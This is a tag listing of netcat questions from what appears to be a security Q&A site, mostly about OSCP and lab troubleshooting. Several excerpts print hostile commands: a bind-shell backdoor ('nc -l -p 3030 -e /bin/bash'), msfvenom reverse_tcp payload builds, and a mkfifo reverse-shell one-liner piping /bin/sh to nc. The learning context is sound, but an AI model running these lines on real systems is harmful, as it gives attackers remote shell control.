Questions tagged [netcat]

A computer networking utility for reading from and writing to network connections using TCP or UDP

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor

source Wikipedia:

23 questions
4
votes
1 answer

Reverse shell breaking instantly after connection has been established

currently I'm preparing for OSCP and right know I'm working on reverse shells. Using msfconsole it's not problem to get a meterpreter-session, however meterpreter is not allowed during the exam so I want to go the "manual" way. With msfvenom I…
Alex
  • 273
  • 1
  • 2
  • 7
3
votes
1 answer

Use netcat to Pivot

So I have a shell into machine A which doesn't have ssh installed and I can't get a tty shell on (I've tried all of the tty cheat sheets, I think this is intentional) Through machine A I can see machine B which has a ssh server running on port…
DotNetRussell
  • 1,441
  • 1
  • 19
  • 30
3
votes
1 answer

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By testing it, I realized that whenever the client…
Bob
  • 508
  • 1
  • 3
  • 13
2
votes
1 answer

Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx I CANNOT use netcat to…
TJCLK
  • 818
  • 8
  • 23
2
votes
0 answers

Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -vv -l 8000 Target terminal sends an interactive…
NattyP
  • 21
  • 1
2
votes
0 answers

Explanation of linux shell access via backpipes?

I have been looking at different ways to gain shell access to a Linux machine and came across this article. Under point #2, there is an slightly different way of using netcat to gain shell. here it is: According to man pages, The system call…
Izy-
  • 853
  • 1
  • 8
  • 17
1
vote
2 answers

Can pipe | shell | nc > pipe achieve remote shell?

In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell : mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444…
Patryk
  • 157
  • 1
  • 2
  • 7
1
vote
1 answer

Reverse PHP shell exit when netcat listening

My reverse shell is exiting when i lsten it with netcat: here is netcat output: listening on [any] 5555 ... connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602 bash: cannot set terminal process group (873): Inappropriate ioctl for…
Grainbox
  • 11
  • 1
1
vote
1 answer

netcat vs nmap for banner grabbing?

I am preparing for a security exam and a question I failed in a practice has the following: A command line tool that can be used for banner grabbing is called: A) tcpdump B) netcat C) nmap D) Wireshark I chose nmap, but the correct solution is…
1
vote
1 answer

I set up a successful reverse shell but my commands return nothing

I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM. My netcat listener displays the following message: connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155 which means it is connected. But when I run…
1
vote
1 answer

How to fingerprint a server with Netcat?

I am trying to follow the OWASP test guide on a Kali Linux machine. As the first step in "Information Gathering" I am trying to fingerprint the server. The guide instructs me to use NetCat: $ nc www.xxx.yy 80 But after several attempts I always get…
Hoper
  • 255
  • 3
  • 10
1
vote
1 answer

Netcat as a handler for windows/meterpreter/reverse_tcp payload

How can I use netcat as a handler for windows/meterpreter/reverse_tcp payload? I am getting a connection but am unable to run any command
john
  • 139
  • 2
  • 5
0
votes
0 answers

Netcat reverse shell, can't execute commands

I have used a stageless payload to gain a reverse shell using netcat. I get connection but the commands return nothing. I was wondering, why this happens? And how to fix this? The victim machine is a Windows 10 machine and I am using the correct…
0
votes
2 answers

Why can't I transfer executable files with netcat?

I have two lab machines, one Kali and one Windows 10. Netcat is running on both and both are communicating successfully. If I create a simple text file I can transfer the file from Kali onto Windows no problem. However, if I run the following…
trallgorm
  • 875
  • 7
  • 19
0
votes
1 answer

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In addition I am running a listener with Metasploit's…
GitCrush
  • 1
  • 1
  • 2
1
2